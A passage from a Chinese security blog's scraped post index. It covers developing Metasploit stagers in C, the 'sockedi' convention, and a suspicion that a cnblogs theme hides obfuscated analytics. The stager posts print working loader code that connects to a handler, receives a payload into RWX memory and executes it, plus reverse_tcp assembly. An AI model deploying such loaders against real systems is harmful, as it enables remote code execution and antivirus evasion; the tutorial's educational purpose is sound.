+= nret; tret += nret; if (nret == SOCKET_ERROR) punt(my_socket, \u0026#34;Could not receive data\u0026#34;); } return tret; } buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buffer == NULL) punt(my_socket, \u0026#34;could not allocate buffer\\n\u0026#34;); /* 把 socket fd 放入 edi 寄存器，注意这里的 socket 句柄需要取到句柄指向的那个数据，而不是句柄指针 BF 78 56 34 12 =\u0026gt; mov edi, 0x12345678 */ buffer[0] = 0xBF; /* 构造上面的机器码 */ memcpy(buffer + 1, \u0026amp;my_socket, 4); /* 把读取出来的数据放到 buffer 后面 */ count = recv_all(my_socket, buffer + 5, size); 这里需要注意的地方是把 socket fd 放入 edi，这个过程是比较重要的，具体的原理我在上一篇文章有提到。\n执行stages 现在我们只需要像之前执行 shellcode 那样执行即可\n1 2 3 /* 把buffer强转为一个函数去调用 */ function = (void (*)())buffer; function(); 然后把这些代码组合起来进行编译\n编译 编译需要注意的点是：payload必须对应\n比如32位的payload必须编译为32位的，相应的64位必须编译为64位\n","permalink":"https://www.hacktech.cn/post/2020/06/msf-stagers-develop-1/","summary":"\u003ch1 id=\"采用c开发stagers\"\u003e采用c开发stagers\u003c/h1\u003e","title":"msf stagers开发不完全指北(一)"},{"content":"2020/05/13 14:50更新\n在评论的驱使下我仔细去看了下，有几处确实用到了后端接口\n1 2 3 loadBlogTalk: (page) =\u0026gt; { return forwardXmlJsonp(\u0026#34;https://ing.cnblogs.com/u/\u0026#34; + blogConst.blogAcc + \u0026#34;/\u0026#34; + page, parseTalkList); }, 1 2 3 loadBlogSearch: (keyword) =\u0026gt; { return forwardXmlJsonp(\u0026#34;https://zzk.cnblogs.com/s/blogpost?w=\u0026#34; + encodeURI(\u0026#34;blog:\u0026#34; + blogConst.blogAcc + \u0026#34; \u0026#34; + keyword), parseSearchKeyWord); }, 1 2 3 4 5 6 7 loadFollowers: (page) =\u0026gt; { let url = \u0026#34;https://home.cnblogs.com/u/\u0026#34; + blogConst.blogAcc + \u0026#34;/relation/followers/\u0026#34;; if (page \u0026amp;\u0026amp; page \u0026gt; 1) { url += \u0026#34;?page=\u0026#34; + page; } return forwardXmlJsonp(url, parseFollowers); }, 这三个接口是走的php后端的api，理由是能自洽的，因为涉及到不同子域了，存在跨站请求，所以需要第三方后端来进行处理\n不过百度统计我还是不太能理解\n2020/05/12 22:14\n首先说好本文只是我个人的猜测，如果有不对的地方请及时指正\n背景 前些天朋友介绍，看到一个博客园主题，主题的思路很棒，具体怎么棒不表，只是后来看了看源码，发现了一些秘密的东西。\n源码地址https://github.com/cjunn/cnblog_theme_atum\n发现 神秘的后端请求 首先是这个主题会向主题作者的php服务器发送请求\n这里我们可以看到是返回一个callback，这一般是解决跨域所采用的jsonp技术\n那么jsonp的具体原理是啥？\njsonp原理 因为浏览器跨域机制的存在，如果在对方接口服务器上面并没有做cors相关的操作，那么是请求不到ajax接口数据的，jsonp技术应运而生\n浏览器是可以引入外域的js的，并且外域上不需要做任何跨域相关的设置，引入外域js后就可以调用该js里面的函数，所以在接口上传递一个callback，比如\n1 \u0026lt;script src=\u0026#34;http://a.com/a.php?callback=ttt\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 然后那边返回一个js，js的内容为\n1 ttt({\u0026#39;a\u0026#39;: 1, \u0026#39;b\u0026#39;: 2}) 那么调用ttt函数即可获得这个json数据\n后端请求问题点 是不是到现在为止你还是觉得，好像没什么问题啊，他返回一下好像也没问题啊？\n但是试想一个，这个callback他是可以在后端任意替换的，比如给你加个js获取你的一些信息，甚至还可以控制你的浏览器一些行为，比如帮他点击一个啥啥啥，可以了解一下Beef\n神秘的加密字符串 我看了这个主题占用cpu和内存比较低，所以花了几分钟时间翻了下源码，发现了一些奇怪的东西\n我在找上面所说的php请求的时候发现了这个\n然后跟进去\n继续跟\n有一串加密的东西\n看名称像是百度统计，但是你为什么加个密，跟进这个加密函数看看\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 /** * * Base64 encode / decode * http://www.webtoolkit.info * **/ // private property let _keyStr = \u0026#34;\u0026#34; _keyStr += \u0026#34;AByz0r4wxs\u0026#34;; // public method for encoding let encode = function (input) { var output = \u0026#34;\u0026#34;; var chr1, chr2, chr3, enc1, enc2, enc3, enc4; var i = 0; input = _utf8_encode(input); while (i \u0026lt; input.length) { chr1 = input.charCodeAt(i++); chr2 = input.charCodeAt(i++); chr3 = input.charCodeAt(i++); enc1 = chr1 \u0026gt;\u0026gt; 2; enc2 = ((chr1 \u0026amp; 3) \u0026lt;\u0026lt; 4) | (chr2 \u0026gt;\u0026gt; 4); enc3 = ((chr2 \u0026amp; 15) \u0026lt;\u0026lt; 2) | (chr3 \u0026gt;\u0026gt; 6); enc4 = chr3 \u0026amp; 63; if (isNaN(chr2)) { enc3 = enc4 = 64; } else if (isNaN(chr3)) { enc4 = 64; } output = output + _keyStr.charAt(enc1) + _keyStr.charAt(enc2) + _keyStr.charAt(enc3) + _keyStr.charAt(enc4); } // Whend return output; } // End Function encode _keyStr += \u0026#34;KLMCDEtuTUVWX12NOPQk\u0026#34;; // public method for decoding let decode = function (input) { var output = \u0026#34;\u0026#34;; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, \u0026#34;\u0026#34;); while (i \u0026lt; input.length) { enc1 = _keyStr.indexOf(input.charAt(i++)); enc2 = _keyStr.indexOf(input.charAt(i++)); enc3 = _keyStr.indexOf(input.charAt(i++)); enc4 = _keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 \u0026lt;\u0026lt; 2) | (enc2 \u0026gt;\u0026gt; 4); chr2 = ((enc2 \u0026amp; 15) \u0026lt;\u0026lt; 4) | (enc3 \u0026gt;\u0026gt; 2); chr3 = ((enc3 \u0026amp; 3) \u0026lt;\u0026lt; 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } // Whend output = _utf8_decode(output); return output; } // End Function decode _keyStr += \u0026#34;lmnopqYZabcdef\u0026#34;; // private method for UTF-8 encoding let _utf8_encode = function (string) { var utftext = \u0026#34;\u0026#34;; string = string.replace(/\\r\\n/g, \u0026#34;\\n\u0026#34;); for (var n = 0; n \u0026lt; string.length; n++) { var c = string.charCodeAt(n); if (c \u0026lt; 128) { utftext += String.fromCharCode(c); } else if ((c \u0026gt; 127) \u0026amp;\u0026amp; (c \u0026lt; 2048)) { utftext += String.fromCharCode((c \u0026gt;\u0026gt; 6) | 192); utftext += String.fromCharCode((c \u0026amp; 63) | 128); } else { utftext += String.fromCharCode((c \u0026gt;\u0026gt; 12) | 224); utftext += String.fromCharCode(((c \u0026gt;\u0026gt; 6) \u0026amp; 63) | 128); utftext += String.fromCharCode((c \u0026amp; 63) | 128); } } // Next n return utftext; } // End Function _utf8_encode _keyStr += \u0026#34;35RSJFGHIvgh\u0026#34;; // private method for UTF-8 decoding let _utf8_decode = function (utftext) { var string = \u0026#34;\u0026#34;; var i = 0; var c, c1, c2, c3; c = c1 = c2 = 0; while (i \u0026lt; utftext.length) { c = utftext.charCodeAt(i); if (c \u0026lt; 128) { string += String.fromCharCode(c); i++; } else if ((c \u0026gt; 191) \u0026amp;\u0026amp; (c \u0026lt; 224)) { c2 = utftext.charCodeAt(i + 1); string += String.fromCharCode(((c \u0026amp; 31) \u0026lt;\u0026lt; 6) | (c2 \u0026amp; 63)); i += 2; } else { c2 = utftext.charCodeAt(i + 1); c3 = utftext.charCodeAt(i + 2); string += String.fromCharCode(((c \u0026amp; 15) \u0026lt;\u0026lt; 12) | ((c2 \u0026amp; 63) \u0026lt;\u0026lt; 6) | (c3 \u0026amp; 63)); i += 3; } } // Whend return string; } // End Function _utf8_decode _keyStr += \u0026#34;ij6789+/=\u0026#34;; export default { i: (message) =\u0026gt; { return encode(message); }, o: (ciphertext) =\u0026gt; { return decode(ciphertext); }, } 这个函数自己跑一下，跑出来是 https://hm.baidu.com/hm.js?ae80cc662109a34c868ba6cbe3431c8d 这个百度统计地址\n然后在初始化的时候，也就是你每次进网站的时候\n每次进网站调用这个函数 initBaiduCount()\n并且加了个路由守卫调用 pushBaiduCount()\n可能有的人不理解路由守卫是什么，路由守卫就是一个hook钩子，在你每次进入或离开路由，或者说该网站的页面时调用，比如这里是进入一个新路由的时候就调用一下，跟进去看看\n这里是插入了百度统计代码\n我的疑惑点 我不太懂百度统计是什么东西，一直认为就是一个管站点流量和访问量的，也不知道有啥其他东西\n我说下我觉得可疑的点\n我姑且认为是为了给自己的博客进行统计，但是这其中为什么大费周章去加密解密，这个我不太理解\n还有的是这个加密的js去掉了后缀js，这样github就没法检索分析代码了，不把代码down下来应该是只能硬找\n我看了下，其实并没有用到自建php服务器上的东西，最开始以为是反代博客园转化为接口，但是我看了下请求，全都是只有callback，返回的一个字符串，我实在想不到是有什么必要进行这个操作，目前看起来是没有价值的\n所以问题来了：\n添加了百度统计，但是大费周章加解密，看起来并不是让用户可自定义的项或者不是大大方方给人看的东西？ 这个php服务器主要用处是什么？目前的callback看起来是毫无意义的，还是真像我所想的，方便以后做一些事情？ ","permalink":"https://www.hacktech.cn/post/2020/05/open-source-theme-cnblogs-bad-or-not/","summary":"\u003cp\u003e2020/05/13 14:50更新\u003c/p\u003e\n\u003cp\u003e在评论的驱使下我仔细去看了下，有几处确实用到了后端接口\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003eloadBlogTalk\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e (\u003cspan style=\"color:#a6e22e\"\u003epage\u003c/span\u003e) =\u0026gt; {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eforwardXmlJsonp\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://ing.cnblogs.com/u/\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eblogConst\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eblogAcc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003epage\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003eparseTalkList\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  },\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003eloadBlogSearch\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e (\u003cspan style=\"color:#a6e22e\"\u003ekeyword\u003c/span\u003e) =\u0026gt; {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eforwardXmlJsonp\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://zzk.cnblogs.com/s/blogpost?w=\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e encodeURI(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;blog:\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eblogConst\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eblogAcc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ekeyword\u003c/span\u003e), \u003cspan style=\"color:#a6e22e\"\u003eparseSearchKeyWord\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  },\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e7\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003eloadFollowers\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e (\u003cspan style=\"color:#a6e22e\"\u003epage\u003c/span\u003e) =\u0026gt; {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eurl\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://home.cnblogs.com/u/\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eblogConst\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eblogAcc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/relation/followers/\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (\u003cspan style=\"color:#a6e22e\"\u003epage\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003epage\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#a6e22e\"\u003eurl\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;?page=\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003epage\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eforwardXmlJsonp\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003eurl\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003eparseFollowers\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  },\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e这三个接口是走的php后端的api，理由是能自洽的，因为涉及到不同子域了，存在跨站请求，所以需要第三方后端来进行处理\u003c/p\u003e","title":"博客园某开源主题暗藏私货？"},{"content":"本篇文章主要讨论一下msf官方文档中提到的sockedi调用约定到底是指什么?\n背景 最近在做一些msf相关的事情，今天听到免杀相关的，去查询了下相关资料。\n第一个不能错过的就是cobalt strike作者早年写的metasploit-loader项目了，我看了项目源码，找了一些相关资料\n在 Meterpreter载荷执行原理分析 文章发现了一些细节性的东西，也感谢该文作者的抛砖引玉，不过文中有一些错误以及未说明白的地方，我会一一道来。\n注意：本文只是对我自己的分析结果进行一次复盘，如果有什么错误之处欢迎大家斧正\nmetasploit loader metasploit的shellcode到底做了什么 首先我们需要探讨的第一个问题是metasploit的shellcode到底做了什么？\n在msf的官方wiki中，官方有对这个问题做一些简单的解释\nHow payloads work 中文翻译版在这 从上面的文章我们大致能知道其实我们使用msf生成的shellcode只是一个加载器(Stagers)，然后加载器通过我们生成shellcode时指定的ip和端口回连过来取到真正执行的恶意载荷(Stages)\n加载器(Stagers)回连的具体流程 那么提出第二个问题，这个加载器(Stagers)回连的具体代码流程是怎样的？\n我们通过文档只能知道Stagers通过网络加载Stages，那么Stages是什么？shellcode？可执行文件？反射dll？这些我们还都不清楚。\n然后通过网上一些零星的资料，找到了msf邮件组曾经的两封邮件（源地址已无法访问，所幸WebArchive有留存）\n[framework] inline meterpreter payload [framework] inline meterpreter payload 里面提到流程以及关键点\n流程\nNo tutorials that I know of, but here are the basic steps:\nconnect to the handler read a 4-byte length allocate a length-byte buffer mark it as writable and executable (on Windows you\u0026rsquo;ll need VirtualProtect for this) read length bytes into that buffer jump to the buffer. easiest way to do this in C is cast it to a function pointer and call it. 关键点\nAssuming this is for X86 arch, you have to make sure that the EDI register contains your socket descriptor (the value of the ConnectSocket variable). You can do this via inline asm, but it might be easier to just prepend the 5 bytes for setting it to your shellcode:\nBF 78 56 34 12 mov edi, 0x12345678\nFor 64 bit, you have to use the RDI register (and need 10 bytes):\n48 BF 78 56 34 12 00 00 00 00 mov rdi, 0x12345678\nHope this helps,\nMichael\nPS: This is the reason why the calling convention within Metasploit is called \u0026ldquo;sockedi\u0026rdquo; :-)\n也就是说主要的流程大致上就是\ntcp连接 读取socket前四个byte，这个为后面的载荷的长度 分配可读可写可执行的内存，把载荷塞进去 注意这段载荷的前面需要手动加 mov edi, \u0026amp;socket 然后跳转到这块内存进行执行 实现起来并不困难，但是有些奇怪的点，比如为什么需要手动把edi的值设置为socket的地址？这个我们先放一放，看看一些loader的源码\n首先是cobalt strike作者的\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 int main(int argc, char * argv[]) { ULONG32 size; char * buffer; void (*function)(); winsock_init(); if (argc != 3) { printf(\u0026#34;%s [host] [port]\\n\u0026#34;, argv[0]); exit(1); } /* connect to the handler */ SOCKET my_socket = wsconnect(argv[1], atoi(argv[2])); /* read the 4-byte length */ int count = recv(my_socket, (char *)\u0026amp;size, 4, 0); if (count != 4 || size \u0026lt;= 0) punt(my_socket, \u0026#34;read a strange or incomplete length value\\n\u0026#34;); /* allocate a RWX buffer */ buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buffer == NULL) punt(my_socket, \u0026#34;could not allocate buffer\\n\u0026#34;); /* prepend a little assembly to move our SOCKET value to the EDI register thanks mihi for pointing this out BF 78 56 34 12 =\u0026gt; mov edi, 0x12345678 */ buffer[0] = 0xBF; /* copy the value of our socket to the buffer */ memcpy(buffer + 1, \u0026amp;my_socket, 4); /* read bytes into the buffer */ count = recv_all(my_socket, buffer + 5, size); /* cast our buffer as a function and call it */ function = (void (*)())buffer; function(); return 0; } 其他的函数我并没有列出来，里面的实现应该也很明白，就是我之前说的流程\n然后是先知社区的，其实也就是把上一份代码注释翻译了一下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 //主函数 int main(int argc, char * argv[]) { ULONG32 size; char * buffer; //创建函数指针，方便XXOO void (*function)(); winsock_init(); //套接字初始化 //获取参数，这里随便写，接不接收无所谓，主要是传递远程主机IP和端口 //这个可以事先定义好 if (argc != 3) { printf(\u0026#34;%s [host] [port] ^__^ \\n\u0026#34;, argv[0]); exit(1); } /*连接到处理程序，也就是远程主机 */ SOCKET my_socket = my_connect(argv[1], atoi(argv[2])); /* 读取4字节长度 *这里是meterpreter第一次发送过来的 *4字节缓冲区大小2E840D00，大小可能会有所不同,当然也可以自己丢弃，自己定义一个大小 */ //是否报错 //如果第一次不是接收的4字节那么就退出程序 int count = recv(my_socket, (char *)\u0026amp;size, 4, 0); if (count != 4 || size \u0026lt;= 0) punt(my_socket, \u0026#34;read length value Error\\n\u0026#34;); /* 分配一个缓冲区 RWX buffer */ buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buffer == NULL) punt(my_socket, \u0026#34;could not alloc buffer\\n\u0026#34;); /* *SOCKET赋值到EDI寄存器，装载到buffer[]中 */ //mov edi buffer[0] = 0xBF; /* 把我们的socket里的值复制到缓冲区中去*/ memcpy(buffer + 1, \u0026amp;my_socket, 4); /* 读取字节到缓冲区 *这里就循环接收DLL数据，直到接收完毕 */ count = recv_all(my_socket, buffer + 5, size); /* 将缓冲区作为函数并调用它。 * 这里可以看作是shellcode的装载， * 因为这本身是一个DLL装载器，完成使命，控制权交给DLL， * 但本身不退出，除非迁移进程，靠DLL里函数，DLL在DLLMain里是循环接收指令的，直到遇到退出指令， * (void (*)())buffer的这种用法经常出现在shellcode中 */ function = (void (*)())buffer; function(); return 0; } 两份代码都没解决我们的疑问\n我们直接翻翻msf源码\nlib/msf/core/payload/windows/reverse_tcp.rb\n代码比较长我就不贴了，简要说一下， asm_block_recv 函数是接收载荷的函数，然后我们看看 asm_reverse_tcp\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 create_socket: push #{encoded_host} ; host in little-endian format push #{encoded_port} ; family AF_INET and port number mov esi, esp ; save pointer to sockaddr struct push eax ; if we succeed, eax will be zero, push zero for the flags param. push eax ; push null for reserved parameter push eax ; we do not specify a WSAPROTOCOL_INFO structure push eax ; we do not specify a protocol inc eax ; push eax ; push SOCK_STREAM inc eax ; push eax ; push AF_INET push #{Rex::Text.block_api_hash(\u0026#39;ws2_32.dll\u0026#39;, \u0026#39;WSASocketA\u0026#39;)} call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); xchg edi, eax ; save the socket for later, don\u0026#39;t care about the value of eax after this call WSASocketA 之后返回的是socket句柄，返回值一般是在eax里面，然后把eax赋值到了edi\n继续找找edi，但是发现剩下的edi都是用作调用，好像没有什么明显的作用，那为什么有这个？\n这个载荷Stages具体是怎么生成的？ 这里就要引入我刚才说的先知上的那篇文章的问题了，在 Meterpreter载荷执行原理分析 文章中，作者提到\nmetasploit的meterpreter的payload调用了meterpreter_loader.rb文件，在meterpreter_loader.rb文件中又引入了reflective_dll_loader.rb文件，reflective_dll_loader.rb主要是获取ReflectiveLoader()的偏移地址，用于重定位使用，没有什么可分析的。我们来到这个文件里reflectivedllinject.rb，这个文件主要是修复反射dll的，meterpreter_loader.rb文件主要是用于自身模块使用，修复dll和读取payload的长度的。\n其实 windows/meterpreter/reverse_tcp 是走的 meterpreter_loader，而不是文中的 reflectivedllinject，我通过调试发现这个请求载荷的过程是流经 meterpreter_loader 文件的\n不过这两个文件的功效都是差不多的，我们打开分析一下\n映入眼帘的应该是这段\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def stage_meterpreter(opts={}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path(\u0026#39;metsrv\u0026#39;, \u0026#39;x86.dll\u0026#39;)) asm_opts = { rdi_offset: offset, length: dll.length, stageless: opts[:stageless] 